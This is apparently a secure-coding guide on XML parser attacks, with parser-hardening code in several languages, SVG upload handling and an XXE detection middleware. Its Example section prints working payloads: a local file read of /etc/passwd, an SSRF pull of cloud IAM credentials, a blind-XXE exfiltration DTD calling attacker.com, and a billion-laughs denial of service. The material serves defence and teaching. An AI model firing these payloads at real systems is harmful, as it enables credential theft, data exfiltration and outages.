XML, XXE and Parser Attacks
XML parsers do far more than parse XML — and the extras read files and make network requests.
If your API accepts XML — SOAP, SAML, RSS, SVG uploads, Office documents, or a legacy partner integration — you inherit a parser feature set designed in a more trusting era.
XXE: external entities
XML lets a document define entities, and an entity can reference an external resource. A parser with external entities enabled will fetch it:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>That reads a local file into the response. Swap the URL for http://169.254.169.254/ and it becomes SSRF against the cloud metadata service. Use a parameter entity pointing at your own server and it becomes blind XXE, exfiltrating data over DNS or HTTP.
Billion laughs
Nested entity definitions expand exponentially — ten levels of ten references is a billion entities from a few hundred bytes. The parser exhausts memory before your code runs. Entity expansion limits, or disabling DTDs entirely, is the fix.
The fix, universally
Disable DTD processing and external entities. Almost no legitimate document needs them. Every parser has the switch; the defaults vary by language and version, so set it explicitly rather than assuming.
SVG is XML
An SVG upload is an XML document, and it can carry entities, scripts and external references. Serving user-uploaded SVG from your own origin is stored XSS. Either sanitise it thoroughly, serve it from a separate origin with restrictive headers, or convert it to a raster format on upload.
The related parser problems
- XML signature wrapping in SAML — an unsigned second assertion that some parsers read while verifying the first.
- XSLT — a full programming language with file and network access.
- XInclude — another route to file inclusion, and it works even without a DTD.
Example
# 1. Read a local file
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<order><customer>&xxe;</customer></order>
# 2. SSRF into cloud metadata — credentials, in a response body
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
# 3. Blind XXE: exfiltrate over the network when nothing is echoed back
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
# 4. Billion laughs — a few hundred bytes, gigabytes of RAM
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>When to use it
- A SOAP endpoint for a legacy partner leaks cloud credentials through an external entity pointing at the metadata service.
- An SVG avatar upload results in stored XSS because the file was served from the application's own origin.
- A billion-laughs payload takes down an XML import worker until entity expansion is disabled.
More examples
Parser configuration in four languages
disallow-doctype-decl is the single strongest setting available in most parsers: with no DOCTYPE there are no entities, and the whole class is gone.
// ── Node: libxmljs ────────────────────────────────────────────────────
import libxmljs from 'libxmljs2';
const doc = libxmljs.parseXml(xmlString, {
noent: false, // do NOT substitute entities
dtdload: false, // do not load external DTDs
dtdvalid: false,
nonet: true, // no network access, ever
huge: false, // keep the built-in expansion limits
});
// ── Node: fast-xml-parser (no entity support at all — a good default) ──
import { XMLParser } from 'fast-xml-parser';
const parser = new XMLParser({
processEntities: false,
ignoreDeclaration: true,
ignorePiTags: true,
});
// ── Bound the input before it reaches any parser ──────────────────────
app.post('/api/import',
express.text({ type: 'application/xml', limit: '256kb' }),
(req, res, next) => {
// Cheap pre-checks that reject the obvious cases before parsing.
if (/<!DOCTYPE/i.test(req.body) || /<!ENTITY/i.test(req.body)) {
return res.status(400).json({ error: 'doctype_not_allowed' });
}
next();
},
importHandler);
/* ── Python ────────────────────────────────────────────────────────────
# ❌ import xml.etree.ElementTree as ET; ET.fromstring(data)
# ✅ use defusedxml, which disables all of this by default
from defusedxml.ElementTree import fromstring
root = fromstring(data)
# or lxml, configured explicitly
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True,
load_dtd=False, huge_tree=False)
root = etree.fromstring(data, parser)
*/
/* ── PHP ───────────────────────────────────────────────────────────────
// PHP >= 8.0 disables external entity loading by default, but be explicit:
$doc = new DOMDocument();
$doc->resolveExternals = false;
$doc->substituteEntities = false;
$ok = $doc->loadXML($xml, LIBXML_NONET | LIBXML_NOENT_DISABLED);
// And reject DOCTYPE outright when you do not need it:
if (stripos($xml, '<!DOCTYPE') !== false) { throw new BadRequest(); }
*/
/* ── Java ──────────────────────────────────────────────────────────────
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setFeature("http://xml.org/sax/features/external-general-entities", false);
f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);
*/Handling SVG uploads without stored XSS
Rasterising on upload is unglamorous and removes the entire problem. Reach for sanitisation only when preserving vector output is a real requirement.
// An SVG is an XML document that browsers EXECUTE. Three options, in order
// of preference.
// ── Option 1 (best): do not store SVG. Rasterise on upload. ───────────
import sharp from 'sharp';
export async function processAvatar(buffer) {
// sharp renders the SVG and outputs PNG — scripts and entities are dropped.
return sharp(buffer, { limitInputPixels: 50_000_000 })
.resize(400, 400, { fit: 'cover' })
.png()
.toBuffer();
}
// ── Option 2: sanitise, if SVG must be preserved ──────────────────────
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const DOMPurify = createDOMPurify(new JSDOM('').window);
export function sanitiseSvg(svgString) {
if (svgString.length > 512 * 1024) throw new BadRequestError('svg too large');
// Reject entities before sanitising — DOMPurify handles markup, not DTDs.
if (/<!DOCTYPE|<!ENTITY/i.test(svgString)) {
throw new BadRequestError('doctype_not_allowed');
}
const clean = DOMPurify.sanitize(svgString, {
USE_PROFILES: { svg: true, svgFilters: true },
FORBID_TAGS: ['script', 'foreignObject', 'use', 'image', 'iframe'],
FORBID_ATTR: ['onload', 'onerror', 'onclick', 'href', 'xlink:href'],
ALLOW_DATA_ATTR: false,
});
if (!clean.trim()) throw new BadRequestError('svg_rejected');
return clean;
}
// ── Option 3: serve from a separate origin, with headers that neuter it ─
app.get('/user-content/:id', async (req, res) => {
const file = await lookup(req.params.id);
res
.type(file.mimeType)
.set('Content-Disposition', 'attachment') // download, do not render
.set('Content-Security-Policy', "default-src 'none'; sandbox")
.set('X-Content-Type-Options', 'nosniff')
.send(file.buffer);
});
// Serve it from usercontent-abc.com, NOT abc.com — a separate origin means
// any script that does survive cannot touch your session or your DOM.
// The same reasoning applies to Office documents, PDFs and HTML uploads:
// they are all active content, and your origin is the thing you are protecting.Detecting attempts, because they are unambiguous
Treating this as detection rather than prevention is the honest framing — the parser settings prevent the attack, and the signatures tell you it was attempted.
// Nobody sends a DOCTYPE by accident to a JSON-shaped API. These signatures
// have essentially zero false positives, which makes them excellent alerts.
const XXE_SIGNATURES = [
/<!DOCTYPE/i,
/<!ENTITY/i,
/SYSTEM\s+["']file:/i,
/SYSTEM\s+["']https?:/i,
/<!\[CDATA\[.*<script/is,
/xi:include/i,
/169\.254\.169\.254/, // cloud metadata, in any format
/\/latest\/meta-data/,
];
app.use(express.text({ type: ['application/xml', 'text/xml'], limit: '256kb' }),
(req, res, next) => {
if (typeof req.body !== 'string') return next();
const matched = XXE_SIGNATURES.filter((re) => re.test(req.body));
if (matched.length) {
// Log loudly — this is an attack, not a malformed request.
logger.error({
ip: req.ip,
path: req.path,
user: req.user?.id ?? null,
signatures: matched.map(String),
sample: req.body.slice(0, 500),
}, 'XXE attempt');
metrics.increment('security.xxe_attempt');
alertSecurityChannel(`XXE attempt from ${req.ip} on ${req.path}`);
// A generic error — do not tell them which check fired.
return res.status(400).json({ error: 'invalid_request' });
}
next();
});
// This is a DETECTION layer. The parser configuration is the actual fix —
// signature matching alone is bypassable with encoding, and you should assume
// a determined attacker will get past it.
//
// Its real value: one alert tells you someone is specifically targeting you,
// which is worth knowing hours before anything else surfaces.
Discussion